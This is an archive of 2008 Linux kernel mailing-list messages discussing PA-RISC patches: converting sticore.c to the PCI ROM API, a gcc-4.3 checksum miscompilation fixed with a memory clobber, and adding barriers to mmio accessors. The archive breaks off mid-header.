Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212274803 14956 80.91.229.12 (31 May 2008 23:00:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 May 2008 23:00:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	adaplas@gmail.com, protasnb@gmail.com, jsimmons@infradead.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 01:00:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2a40-0007Jy-SY
	for glpp-linux-parisc@gmane.org; Sun, 01 Jun 2008 01:00:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753759AbYEaW7w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 May 2008 18:59:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754681AbYEaW7w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 May 2008 18:59:52 -0400
Original-Received: from smtp239.poczta.interia.pl ([217.74.64.239]:11212 "EHLO
	smtp239.poczta.interia.pl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753759AbYEaW7v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 May 2008 18:59:51 -0400
Original-Received: by smtp239.poczta.interia.pl (INTERIA.PL, from userid 502)
	id 24DF231BF98; Sun,  1 Jun 2008 00:59:49 +0200 (CEST)
Original-Received: from poczta.interia.pl (mi02.poczta.interia.pl [10.217.12.2])
	by smtp239.poczta.interia.pl (INTERIA.PL) with ESMTP id A2FA531BF88;
	Sun,  1 Jun 2008 00:59:46 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id 922F42BC114; Sun,  1 Jun 2008 00:59:46 +0200 (CEST)
Original-Received: from krzysio.net (host-87-99-61-239.lanet.net.pl [87.99.61.239])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by www.poczta.fm (INTERIA.PL) with ESMTP id 8C5942BC0FF;
	Sun,  1 Jun 2008 00:59:40 +0200 (CEST)
In-Reply-To: <200806010022.24033.deller@gmx.de>
X-Mailer: Sylpheed 2.4.3 (GTK+ 2.11.0; i686-pc-linux-gnu)
X-EMID: 22e2b138
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:366 gmane.linux.fbdev.devel:11879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/366>

On Sun, 1 Jun 2008 00:22:23 +0200
Helge Deller <deller@gmx.de> wrote:

> Hello Krzysztof,
> 
> On Saturday 31 May 2008, Krzysztof Helt wrote:
> > From: Krzysztof Helt <krzysztof.h1@wp.pl>
> > 
> > Convert console/sticore.c file to use PCI ROM API.
> > 
> > Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>
> > 
> > ---
> > I don't have cross-compiler nor the hardware so PARISC guys
> > please test it.
> > [...]
> 
> Thanks for the patch.
> Below is the fixed version for parisc.
> Compile- and run-tested by me.
> Please apply.
> 

Thank you for testing. I have only one question. Why does the address
parameter to the sti_try_rom_generic() is unsigned long and not (char __iomem *)?
It would simplify the code (two type casts removed). Now, I see that I have made
an error in the patch that no rom_base variable has been defined in 
the sti_try_rom_generic(). My intention was to use the address parameter directly.
Is this ok (change the parameter type) on parisc linux?

Kind regards,
Krzysztof

> Helge
> ------------------------
> 
> Convert console/sticore.c file to use PCI ROM API.
> 
> Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
> index e9ab657..df30499 100644
> --- a/drivers/video/console/sticore.c
> +++ b/drivers/video/console/sticore.c
> @@ -780,11 +780,13 @@ out_err:
>  }
>  
>  static struct sti_struct * __devinit
> -sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
> +sti_try_rom_generic(unsigned long address, unsigned long hpa,
> +		    struct pci_dev *pd)
>  {
> +	char __iomem *rom_base = (char __iomem *) address;
>  	struct sti_struct *sti;
>  	int ok;
> -	u32 sig;
> +	__le32 sig;
>  
>  	if (num_sti_roms >= MAX_STI_ROMS) {
>  		printk(KERN_WARNING "maximum number of STI ROMS reached !\n");
> @@ -808,7 +810,7 @@ test_rom:
>  	sig = gsc_readl(address);
>  
>  	/* check for a PCI ROM structure */
> -	if ((le32_to_cpu(sig)==0xaa55)) {
> +	if (sig == cpu_to_le32(0xaa55)) {
>  		unsigned int i, rm_offset;
>  		u32 *rm;
>  		i = gsc_readl(address+0x04);
> @@ -868,10 +870,8 @@ test_rom:
>  	/* disable STI PCI ROM. ROM and card RAM overlap and
>  	 * leaving it enabled would force HPMCs
>  	 */
> -	if (sti->pd) {
> -		unsigned long rom_base;
> -		rom_base = pci_resource_start(sti->pd, PCI_ROM_RESOURCE);	
> -		pci_write_config_dword(sti->pd, PCI_ROM_ADDRESS, rom_base & ~PCI_ROM_ADDRESS_ENABLE);
> +	if (sti->pd && rom_base) {
> +		pci_unmap_rom(sti->pd, rom_base);
>  		DPRINTK((KERN_DEBUG "STI PCI ROM disabled\n"));
>  	}
>  
> @@ -930,28 +930,25 @@ static int __devinit sticore_pci_init(struct pci_dev *pd,
>  		const struct pci_device_id *ent)
>  {
>  #ifdef CONFIG_PCI
> -	unsigned long fb_base, rom_base;
> -	unsigned int fb_len, rom_len;
> +	unsigned long fb_base;
> +	unsigned int fb_len;
> +	char __iomem *rom_base;
> +	size_t rom_len;
>  	struct sti_struct *sti;
>  	
>  	pci_enable_device(pd);
>  
>  	fb_base = pci_resource_start(pd, 0);
>  	fb_len = pci_resource_len(pd, 0);
> -	rom_base = pci_resource_start(pd, PCI_ROM_RESOURCE);
> -	rom_len = pci_resource_len(pd, PCI_ROM_RESOURCE);
> -	if (rom_base) {
> -		pci_write_config_dword(pd, PCI_ROM_ADDRESS, rom_base | PCI_ROM_ADDRESS_ENABLE);
> -		DPRINTK((KERN_DEBUG "STI PCI ROM enabled at 0x%08lx\n", rom_base));
> -	}
> +	rom_base = pci_map_rom(pd, &rom_len);
>  
> -	printk(KERN_INFO "STI PCI graphic ROM found at %08lx (%u kB), fb at %08lx (%u MB)\n",
> +	printk(KERN_INFO "STI PCI graphic ROM found at %p (%u kB), fb at %08lx (%u MB)\n",
>  		rom_base, rom_len/1024, fb_base, fb_len/1024/1024);
>  
> -	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %08lx, PCI hpa at %08lx\n",
> +	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %p, PCI hpa at %08lx\n",
>  		    rom_base, fb_base));
>  
> -	sti = sti_try_rom_generic(rom_base, fb_base, pd);
> +	sti = sti_try_rom_generic((unsigned long)rom_base, fb_base, pd);
>  	if (sti) {
>  		char pa_path[30];
>  		print_pci_hwpath(pd, pa_path);
> @@ -975,7 +972,7 @@ static void __devexit sticore_pci_remove(struct pci_dev *pd)
>  }
>  
>  
> -static struct pci_device_id sti_pci_tbl[] = {
> +DEFINE_PCI_DEVICE_TABLE(sti_pci_tbl) = {
>  	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_EG) },
>  	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX6) },
>  	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX4) },
> 


----------------------------------------------------------------------
Mucha powraca!
Sprawdz >>> http://link.interia.pl/f1e0d

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.3 miscompiling causing networking to bugger up
Date: Sat, 31 May 2008 19:37:12 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20080601013712.GB7909@colo.lackof.org>
References: <20080528234110.GD30501@phobos.i.cabal.ca> <20080529000059.9C6434E77@hiauly1.hia.nrc.ca> <20080529000219.GE30501@phobos.i.cabal.ca> <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com> <20080531041010.GA27970@phobos.i.cabal.ca> <20080531105858.GD28074@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212284259 1070 80.91.229.12 (1 Jun 2008 01:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Jun 2008 01:37:39 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 03:38:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2cWW-0002kZ-Vr
	for glpp-linux-parisc@gmane.org; Sun, 01 Jun 2008 03:38:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755114AbYFABh0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 May 2008 21:37:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754278AbYFABh0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 May 2008 21:37:26 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:54871 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751349AbYFABhZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 May 2008 21:37:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C2AAF6F8034;
	Sat, 31 May 2008 19:37:22 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15720-10; Sat, 31 May 2008 19:37:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5880B6F8032; Sat, 31 May 2008 19:37:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080531105858.GD28074@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:367
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/367>

On Sat, May 31, 2008 at 04:58:58AM -0600, Matthew Wilcox wrote:
...
> So if GCC has something in a register, it might not bother to write it
> back to ram before this asm if we don't have the memory clobber.

Willy, thanks for explaining...I had to reread this a few times to
"get it". This would also explain why we saw it on ip_output where
the ipv4 header was being written.

> Fantastic work, Kyle.  Thanks for spending so much time on this.

Agreed. I owe you a bar of chocolate.

> > diff --git a/include/asm-parisc/checksum.h b/include/asm-parisc/checksum.h
> > index cc3ec1b..1916ebe 100644
> > --- a/include/asm-parisc/checksum.h
> > +++ b/include/asm-parisc/checksum.h
> > @@ -65,7 +65,7 @@ static inline __sum16 ip_fast_csum(const void *iph, unsigned int ihl)
> >  "2:\n"
> >  	: "=r" (sum), "=r" (iph), "=r" (ihl)
> >  	: "1" (iph), "2" (ihl)
> > -	: "r19", "r20", "r21" );
> > +	: "r19", "r20", "r21", "memory" );
> >  
> >  	return (__force __sum16)sum;
> >  }

Does csum_ipv6_magic() also need the same treatment?

Kyle suspects csum_ipv6_magic() might be ok because it's passing
in a "struct ipv6_addr *".  If that's correct, maybe we should ask
davem/et al to change ip_fast_csum() to take "struct iphdr *" as well?

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Helt <krzysztof.h1@poczta.fm>
Newsgroups: gmane.linux.fbdev.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] convert sticore.c to PCI ROM API
	(bugzilla #9425)
Date: Sun, 1 Jun 2008 09:03:38 +0200
Lines: 134
Approved: news@gmane.org
Message-ID: <20080601090338.515be7d1.krzysztof.h1@poczta.fm>
References: <20080531191516.ae60240f.krzysztof.h1@poczta.fm>
	<200806010022.24033.deller@gmx.de>
	<20080601010155.6ec18fb7.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212303715 6128 80.91.229.12 (1 Jun 2008 07:01:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Jun 2008 07:01:55 +0000 (UTC)
Cc: Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	jsimmons@infradead.org, adaplas@gmail.com, protasnb@gmail.com,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-fbdev-devel-bounces@lists.sourceforge.net Sun Jun 01 09:02:35 2008
Return-path: <linux-fbdev-devel-bounces@lists.sourceforge.net>
Envelope-to: glfd-linux-fbdev-devel@m.gmane.org
Original-Received: from lists-outbound.sourceforge.net ([66.35.250.225])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2haM-00005y-8S
	for glfd-linux-fbdev-devel@m.gmane.org; Sun, 01 Jun 2008 09:02:34 +0200
Original-Received: from sc8-sf-list1-new.sourceforge.net (sc8-sf-list1-new-b.sourceforge.net [10.3.1.93])
	by sc8-sf-spam2.sourceforge.net (Postfix) with ESMTP
	id EE6EA12CE4; Sun,  1 Jun 2008 00:01:45 -0700 (PDT)
Original-Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91]
	helo=mail.sourceforge.net)
	by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43)
	id 1K2hZZ-00007l-5k for linux-fbdev-devel@lists.sourceforge.net;
	Sun, 01 Jun 2008 00:01:45 -0700
Original-Received: from smtp239.poczta.interia.pl ([217.74.64.239])
	by mail.sourceforge.net with esmtp (Exim 4.44) id 1K2hZW-0004Kw-3n
	for linux-fbdev-devel@lists.sourceforge.net;
	Sun, 01 Jun 2008 00:01:45 -0700
Original-Received: by smtp239.poczta.interia.pl (INTERIA.PL, from userid 502)
	id 15109665A5D; Sun,  1 Jun 2008 09:01:37 +0200 (CEST)
Original-Received: from poczta.interia.pl (mi05.te.interia.pl [10.217.12.5])
	by smtp239.poczta.interia.pl (INTERIA.PL) with ESMTP id 937A8665A5B;
	Sun,  1 Jun 2008 09:01:35 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id 845B9BE18A9; Sun,  1 Jun 2008 09:01:36 +0200 (CEST)
Original-Received: from krzysio.net (host-87-99-61-239.lanet.net.pl [87.99.61.239])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by www.poczta.fm (INTERIA.PL) with ESMTP id 2E964BE1894;
	Sun,  1 Jun 2008 09:01:25 +0200 (CEST)
In-Reply-To: <20080601010155.6ec18fb7.krzysztof.h1@poczta.fm>
X-Mailer: Sylpheed 2.4.3 (GTK+ 2.11.0; i686-pc-linux-gnu)
X-EMID: 8ee2b138
X-Spam-Score: 1.0 (+)
X-Spam-Report: Spam Filtering performed by sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	Report problems to
	http://sf.net/tracker/?func=add&group_id=1&atid=200001
	1.0 FORGED_RCVD_HELO       Received: contains a forged HELO
X-BeenThere: linux-fbdev-devel@lists.sourceforge.net
X-Mailman-Version: 2.1.8
Precedence: list
List-Id: <linux-fbdev-devel.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=linux-fbdev-devel>
List-Post: <mailto:linux-fbdev-devel@lists.sourceforge.net>
List-Help: <mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=subscribe>
Original-Sender: linux-fbdev-devel-bounces@lists.sourceforge.net
Errors-To: linux-fbdev-devel-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.fbdev.devel:11880 gmane.linux.ports.parisc:368
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/368>

On Sun, 1 Jun 2008 01:01:55 +0200
Krzysztof Helt <krzysztof.h1@poczta.fm> wrote:

> On Sun, 1 Jun 2008 00:22:23 +0200
> Helge Deller <deller@gmx.de> wrote:
> 
>> Thanks for the patch.
>> Below is the fixed version for parisc.
>> Compile- and run-tested by me.
>> Please apply.
> 
> Thank you for testing. I have only one question. Why does the address
> parameter to the sti_try_rom_generic() is unsigned long and not (char __iomem *)?
> It would simplify the code (two type casts removed). Now, I see that I have made
> an error in the patch that no rom_base variable has been defined in 
> the sti_try_rom_generic(). My intention was to use the address parameter directly.
> Is this ok (change the parameter type) on parisc linux?
> 

It was late night when I answered. I see it now - one uses gsc_readl function
on the address so one needs the address represented as unsigned long (or casted).

Your patch is 100% correct (copied without changes below).

Regards,
Krzysztof

------------------------

Convert console/sticore.c file to use PCI ROM API.

Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index e9ab657..df30499 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -780,11 +780,13 @@ out_err:
 }
 
 static struct sti_struct * __devinit
-sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
+sti_try_rom_generic(unsigned long address, unsigned long hpa,
+		    struct pci_dev *pd)
 {
+	char __iomem *rom_base = (char __iomem *) address;
 	struct sti_struct *sti;
 	int ok;
-	u32 sig;
+	__le32 sig;
 
 	if (num_sti_roms >= MAX_STI_ROMS) {
 		printk(KERN_WARNING "maximum number of STI ROMS reached !\n");
@@ -808,7 +810,7 @@ test_rom:
 	sig = gsc_readl(address);
 
 	/* check for a PCI ROM structure */
-	if ((le32_to_cpu(sig)==0xaa55)) {
+	if (sig == cpu_to_le32(0xaa55)) {
 		unsigned int i, rm_offset;
 		u32 *rm;
 		i = gsc_readl(address+0x04);
@@ -868,10 +870,8 @@ test_rom:
 	/* disable STI PCI ROM. ROM and card RAM overlap and
 	 * leaving it enabled would force HPMCs
 	 */
-	if (sti->pd) {
-		unsigned long rom_base;
-		rom_base = pci_resource_start(sti->pd, PCI_ROM_RESOURCE);	
-		pci_write_config_dword(sti->pd, PCI_ROM_ADDRESS, rom_base & ~PCI_ROM_ADDRESS_ENABLE);
+	if (sti->pd && rom_base) {
+		pci_unmap_rom(sti->pd, rom_base);
 		DPRINTK((KERN_DEBUG "STI PCI ROM disabled\n"));
 	}
 
@@ -930,28 +930,25 @@ static int __devinit sticore_pci_init(struct pci_dev *pd,
 		const struct pci_device_id *ent)
 {
 #ifdef CONFIG_PCI
-	unsigned long fb_base, rom_base;
-	unsigned int fb_len, rom_len;
+	unsigned long fb_base;
+	unsigned int fb_len;
+	char __iomem *rom_base;
+	size_t rom_len;
 	struct sti_struct *sti;
 	
 	pci_enable_device(pd);
 
 	fb_base = pci_resource_start(pd, 0);
 	fb_len = pci_resource_len(pd, 0);
-	rom_base = pci_resource_start(pd, PCI_ROM_RESOURCE);
-	rom_len = pci_resource_len(pd, PCI_ROM_RESOURCE);
-	if (rom_base) {
-		pci_write_config_dword(pd, PCI_ROM_ADDRESS, rom_base | PCI_ROM_ADDRESS_ENABLE);
-		DPRINTK((KERN_DEBUG "STI PCI ROM enabled at 0x%08lx\n", rom_base));
-	}
+	rom_base = pci_map_rom(pd, &rom_len);
 
-	printk(KERN_INFO "STI PCI graphic ROM found at %08lx (%u kB), fb at %08lx (%u MB)\n",
+	printk(KERN_INFO "STI PCI graphic ROM found at %p (%u kB), fb at %08lx (%u MB)\n",
 		rom_base, rom_len/1024, fb_base, fb_len/1024/1024);
 
-	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %08lx, PCI hpa at %08lx\n",
+	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %p, PCI hpa at %08lx\n",
 		    rom_base, fb_base));
 
-	sti = sti_try_rom_generic(rom_base, fb_base, pd);
+	sti = sti_try_rom_generic((unsigned long)rom_base, fb_base, pd);
 	if (sti) {
 		char pa_path[30];
 		print_pci_hwpath(pd, pa_path);
@@ -975,7 +972,7 @@ static void __devexit sticore_pci_remove(struct pci_dev *pd)
 }
 
 
-static struct pci_device_id sti_pci_tbl[] = {
+DEFINE_PCI_DEVICE_TABLE(sti_pci_tbl) = {
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_EG) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX6) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX4) },



----------------------------------------------------------------------
Za co Doda nienawidzi Feel?
Sprawdz >>> http://link.interia.pl/f1e0b


-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2008.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/

From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: add barriers to mmio accessors
Date: Tue, 3 Jun 2008 01:42:12 -0400
Lines: 113
Approved: news@gmane.org
Message-ID: <20080603054212.GA31771@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212471743 22596 80.91.229.12 (3 Jun 2008 05:42:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2008 05:42:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 07:43:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K3PIW-00042P-I5
	for glpp-linux-parisc@gmane.org; Tue, 03 Jun 2008 07:43:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752122AbYFCFmP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2008 01:42:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752149AbYFCFmP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Jun 2008 01:42:15 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:57761 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752122AbYFCFmP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2008 01:42:15 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 28F3E17806A; Tue,  3 Jun 2008 01:42:12 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:369
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/369>

Prevents GCC from reordering mmio accesses with regular memory
accesses.

They're in assembly since I felt like maybe using the strongly
ordered completer on the instructions, so they would be more obvious
in disassembly. (Yes, I know there's no weakly ordered PA
implementation...)


diff --git a/include/asm-parisc/io.h b/include/asm-parisc/io.h
index 55ddb18..e5ce0a9 100644
--- a/include/asm-parisc/io.h
+++ b/include/asm-parisc/io.h
@@ -148,36 +148,82 @@ extern void iounmap(const volatile void __iomem *addr);
 
 static inline unsigned char __raw_readb(const volatile void __iomem *addr)
 {
-	return (*(volatile unsigned char __force *) (addr));
+	unsigned char c;
+	asm volatile(
+	"	ldb	0(%0), %1\n"
+	: : "r"(addr), "r"(c) : "memory");
+	return c;
 }
+
 static inline unsigned short __raw_readw(const volatile void __iomem *addr)
 {
-	return *(volatile unsigned short __force *) addr;
+	unsigned short s;
+	asm volatile(
+	"	lds	0(%0), %1\n"
+	: : "r"(addr), "r"(s) : "memory");
+	return s;
 }
+
 static inline unsigned int __raw_readl(const volatile void __iomem *addr)
 {
-	return *(volatile unsigned int __force *) addr;
+	unsigned int i;
+	asm volatile(
+	"	ldw	0(%0), %1\n"
+	: : "r"(addr), "r"(i) : "memory");
+	return i;
 }
+
 static inline unsigned long long __raw_readq(const volatile void __iomem *addr)
 {
-	return *(volatile unsigned long long __force *) addr;
+	unsigned long long q;
+
+#ifdef CONFIG_64BIT
+	asm volatile(
+	"	ldq	0(%0), %1\n"
+	: : "r"(addr), "r"(q) : "memory");
+#else
+	unsigned int q_lo, q_hi;
+	q_hi = __raw_readl(addr);
+	q_lo = __raw_readl(addr+4);
+	q = (unsigned long long)(q_hi << 32) | (q_lo);
+#endif
+
+	return q;
 }
 
-static inline void __raw_writeb(unsigned char b, volatile void __iomem *addr)
+static inline void __raw_writeb(unsigned char c, volatile void __iomem *addr)
 {
-	*(volatile unsigned char __force *) addr = b;
+	asm volatile(
+	"	stb	%1, 0(%0)\n"
+	: : "r"(addr), "r"(c) : "memory");
 }
-static inline void __raw_writew(unsigned short b, volatile void __iomem *addr)
+
+static inline void __raw_writew(unsigned short s, volatile void __iomem *addr)
 {
-	*(volatile unsigned short __force *) addr = b;
+	asm volatile(
+	"	sts	%1, 0(%0)\n"
+	: : "r"(addr), "r"(s) : "memory");
 }
-static inline void __raw_writel(unsigned int b, volatile void __iomem *addr)
+
+static inline void __raw_writel(unsigned int i, volatile void __iomem *addr)
 {
-	*(volatile unsigned int __force *) addr = b;
+	asm volatile(
+	"	stw	%1, 0(%0)\n"
+	: : "r"(addr), "r"(i) : "memory");
 }
-static inline void __raw_writeq(unsigned long long b, volatile void __iomem *addr)
+
+static inline void __raw_writeq(unsigned long long q, volatile void __iomem *addr)
 {
-	*(volatile unsigned long long __force *) addr = b;
+#ifdef CONFIG_64BIT
+	asm volatile(
+	"	stq	%1, 0(%0)\n"
+	: : "r"(addr), "r"(q) : "memory");
+#else
+	unsigned int q_hi = (q >> 32) & ~0UL;
+	unsigned int q_lo = (q) & ~0UL;
+	__raw_writel(q_hi, addr);
+	__raw_writel(q_lo, addr+4);
+#endif
 }
 
 /* readb can never be const, so use __fswab instead of le*_to_cpu */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: add barriers to mmio accessors
Date: Tue, 3 Jun 2008 08:22:02 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440806030522i1a4dd588v20630893e3fb0425@mail.gmail.com>
References: <20080603054212.GA31771@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212495738 5125 80.91.229.12 (3 Jun 2008 12:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
